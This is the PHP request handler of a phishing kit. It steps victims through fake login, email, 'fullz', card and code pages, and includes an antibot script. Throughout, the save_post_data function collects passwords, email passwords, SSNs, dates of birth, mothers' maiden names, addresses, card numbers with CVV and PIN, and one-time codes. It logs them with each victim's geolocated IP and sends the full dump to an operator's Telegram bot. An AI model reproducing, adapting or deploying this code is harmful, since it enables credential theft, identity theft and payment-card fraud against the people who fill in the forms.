<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/pages.php');

$config = get_config();

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    header('Location: /');
    exit;
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handlePostRequest($config);
}

function handlePostRequest($config) {
    global $login_page, $email_page, $fullz_page, $card_page, $code_page;
    $referrer = $_SERVER['HTTP_REFERER'];
    $path = parse_url($referrer, PHP_URL_PATH);
    if ($path == $login_page && !isset($_SESSION['wrong_login'])) {
        handleLoginPage1($config);
    } elseif ($path == $login_page && isset($_SESSION['wrong_login'])) {
        handleLoginPage2($config);
    } elseif ($path == $email_page) {
        handleEmailPage($config);
    } elseif ($path == $fullz_page) {
        handleFullzPage($config);
    } elseif ($path == $card_page) {
        handleCardPage($config);
    } elseif ($path == $code_page) {
        handleCodePage($config);
    } else {
        redirectToNextPage("/");
    }
}

function redirectToNextPage($page) {
    header("Location: $page");
    exit();
}

function handleCodePage($config) {
    unset($_SESSION['wrong_login']);
    global $card_page, $checking_page, $complete_page, $email_page, $fullz_page;
    save_post_data("CODE", $config);

    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];
    $EMAIL_PAGE = $config['PAGE_SETTINGS']['EMAIL_PAGE'];
    $FULLZ_PAGE = $config['PAGE_SETTINGS']['FULLZ_PAGE'];

    if ($EMAIL_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $email_page);
    } elseif ($FULLZ_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $fullz_page);
    } elseif ($CARD_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $card_page);
    } else {
        redirectToNextPage($checking_page . "?to=" . $complete_page);
    }
}

function handleLoginPage1($config) {
    global $card_page, $checking_page, $complete_page, $email_page, $fullz_page;
    $DOUBLE_LOGIN = $config['PAGE_SETTINGS']['DOUBLE_LOGIN'];
    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];
    $EMAIL_PAGE = $config['PAGE_SETTINGS']['EMAIL_PAGE'];
    $FULLZ_PAGE = $config['PAGE_SETTINGS']['FULLZ_PAGE'];
    save_post_data("LOGIN", $config);

    if ($DOUBLE_LOGIN) {
        $_SESSION['wrong_login'] = true;
        redirectToNextPage($checking_page . "?to=" . "/");
    } elseif ($EMAIL_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $email_page);
    } elseif ($FULLZ_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $fullz_page);
    } elseif ($CARD_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $card_page);
    } else {
        redirectToNextPage($checking_page . "?to=" . $complete_page);
    }
}

function handleLoginPage2($config) {
    global $card_page, $checking_page, $complete_page, $email_page, $fullz_page;
    $EMAIL_PAGE = $config['PAGE_SETTINGS']['EMAIL_PAGE'];
    $FULLZ_PAGE = $config['PAGE_SETTINGS']['FULLZ_PAGE'];
    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];

    save_post_data("LOGIN", $config);
    unset($_SESSION['wrong_login']);

    if ($EMAIL_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $email_page);
    } elseif ($FULLZ_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $fullz_page);
    } elseif ($CARD_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $card_page);
    } else {
        redirectToNextPage($checking_page . "?to=" . $complete_page);
    }
}

function handleEmailPage($config) {
    global $checking_page, $complete_page, $fullz_page, $card_page;
    $FULLZ_PAGE = $config['PAGE_SETTINGS']['FULLZ_PAGE'];
    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];
    save_post_data("EMAIL", $config);
    if ($FULLZ_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $fullz_page);
    } elseif ($CARD_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $card_page);
    } else {
        redirectToNextPage($checking_page . "?to=" . $complete_page);
    }
}

function handleFullzPage($config) {
    global $checking_page, $complete_page, $card_page;
    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];
    save_post_data("FULLZ", $config);
    $CARD_PAGE = $config['PAGE_SETTINGS']['CARD_PAGE'];
    if ($CARD_PAGE) {
        redirectToNextPage($checking_page . "?to=" . $card_page);
    } else {
        redirectToNextPage($checking_page . "?to=" . $complete_page);
    }
}

function handleCardPage($config) {
    global $checking_page, $complete_page;
    
    save_post_data("CARD", $config);
    redirectToNextPage($checking_page . "?to=" . $complete_page);
}

function save_post_data($save_type, $config) {
    $ip_address = getIpAddress();
    $ip_details = isset($_SESSION['ip_details']) ? $_SESSION['ip_details'] : null;
    $country = $ip_details['country']['names']['en'] ?? '';
    $city = $ip_details['city']['names']['en'] ?? '';
    $post_data = $_POST;
    $post_data['timestamp'] = date('Y-m-d H:i:s');
    $ua_info = [];
    if (isset($_COOKIE['ua_info'])) {
        $ua_info_json = urldecode($_COOKIE['ua_info']);
        $ua_info = json_decode($ua_info_json, true);
    }
    $browser = $ua_info['browser']['name'] ?? '';
    $device_type = $ua_info['device']['type'] ?? '';

    $send_telegram = isset($config['TELEGRAM_SETTINGS']['enabled']) && $config['TELEGRAM_SETTINGS']['enabled'];

    $log_file = $_SERVER['DOCUMENT_ROOT'] . '/admin/files/logs/all_logs.json';
    $logs = [];
    if (file_exists($log_file)) {
        $json_data = json_decode(file_get_contents($log_file), true);
        $logs = $json_data['all_logs'] ?? [];
        if (!is_array($logs)) $logs = [];
    }
    $found_index = null;
    $max_position = 0;
    foreach ($logs as $i => $entry) {
        if (isset($entry['Postion']) && $entry['Postion'] > $max_position) {
            $max_position = $entry['Postion'];
        }
        if ($entry['ip'] === $ip_address) {
            $found_index = $i;
        }
    }
    if ($found_index === null) {
        $position = $max_position ? $max_position + 1 : 1;
        $new_entry = [
            'ip' => $ip_address,
            'country' => $country,
            'browser' => $browser,
            'device' => ucfirst($device_type),
            'city' => $city,
            'state' => $ip_details['subdivisions'][0]['iso_code'] ?? '',
            'zip' => $ip_details['postal']['code'] ?? '',
            'ISP' => $ip_details['traits']['isp'] ?? '',
            'Status' => 'Online',
            'Postion' => $position,
            'current_page' => strtolower($save_type),
            'logins' => [],
            'emails' => [],
            'fullz' => [],
            'cards' => [],
            'codes' => []
        ];
        $logs[] = $new_entry;
        $found_index = count($logs) - 1;
    }

    $ip_info = "IP: " . $ip_address . "\n" .
               "Country: " . $country . "\n" .
               "Browser: " . $browser . "\n" .
               "Device: " . ucfirst($device_type) . "\n" .
               "City: " . $city . "\n" .
               "State: " . ($ip_details['subdivisions'][0]['iso_code'] ?? '') . "\n" .
               "ZIP: " . ($ip_details['postal']['code'] ?? '') . "\n" .
               "ISP: " . ($ip_details['traits']['isp'] ?? '') . "\n\n";

    if ($found_index !== null) {
        if ($save_type === 'LOGIN') {
            $logs[$found_index]['logins'][] = [
                'timestamp' => $post_data['timestamp'],
                'username' => $post_data['username'] ?? '',
                'password' => $post_data['password'] ?? ''
            ];
        } elseif ($save_type === 'EMAIL') {
            $logs[$found_index]['emails'][] = [
                'timestamp' => $post_data['timestamp'],
                'email' => $post_data['email'] ?? '',
                'password' => $post_data['password'] ?? ''
            ];
        } elseif ($save_type === 'FULLZ') {
            $logs[$found_index]['fullz'][] = [
                'timestamp' => $post_data['timestamp'],
                'first_name' => $post_data['first_name'] ?? '',
                'midde_name' => $post_data['middle_name'] ?? '',
                'last_name' => $post_data['last_name'] ?? '',
                'dob' => $post_data['dob'] ?? '',
                'mother_name' => $post_data['mother_name'] ?? '',
                'ssn' => $post_data['ssn'] ?? '',
                'phone' => $post_data['phone'] ?? '',
                'address' => $post_data['address'] ?? '',
                'apt' => $post_data['apt'] ?? '',
                'city' => $post_data['city'] ?? '',
                'state' => $post_data['state'] ?? '',
                'zip' => $post_data['zip'] ?? '',
            ];
        } elseif ($save_type === 'CARD') {
            $logs[$found_index]['cards'][] = [
                'timestamp' => $post_data['timestamp'],
                'card_holder_name' => $post_data['card_holder_name'] ?? '',
                'card_number' => $post_data['card_number'] ?? '',
                'exp_date' => $post_data['exp_date'] ?? '',
                'cvv' => $post_data['cvv'] ?? '',
                'card_pin' => $post_data['card_pin'] ?? '',
            ];
        }   elseif ($save_type === 'CODE') {
            $logs[$found_index]['codes'][] = [
                'timestamp' => $post_data['timestamp'],
                'code' => $post_data['code'] ?? '',
            ];
        }
        $logs[$found_index]['current_page'] = strtolower($save_type);
    }
    $json_data = [
        'vistors' => $json_data['vistors'] ?? 0,
        'all_logs' => $logs
    ];
    file_put_contents($log_file, json_encode($json_data, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES));

    $full_log = $logs[$found_index];
    $full_message = $ip_info;
    
    foreach (['logins', 'emails', 'fullz', 'cards', 'codes'] as $section) {
        if (!empty($full_log[$section])) {
            $full_message .= strtoupper($section) . ":\n";
            foreach ($full_log[$section] as $entry) {
                foreach ($entry as $key => $value) {
                    $full_message .= ucfirst($key) . ": $value\n";
                }
                $full_message .= "\n";
            }
        }
    }

    if ($send_telegram && !empty($full_message)) {
        send_telegram_notification($config, $full_message);
    }
}

function send_telegram_notification($config, $full_message) {
    $bot_token = $config['TELEGRAM_SETTINGS']['bot_token'];
    $chat_id = $config['TELEGRAM_SETTINGS']['chat_id'];
    $url = "https://api.telegram.org/bot$bot_token/sendMessage";
    $data = [
        'chat_id' => $chat_id,
        'text' => $full_message
    ];
    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ],
    ];
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
}
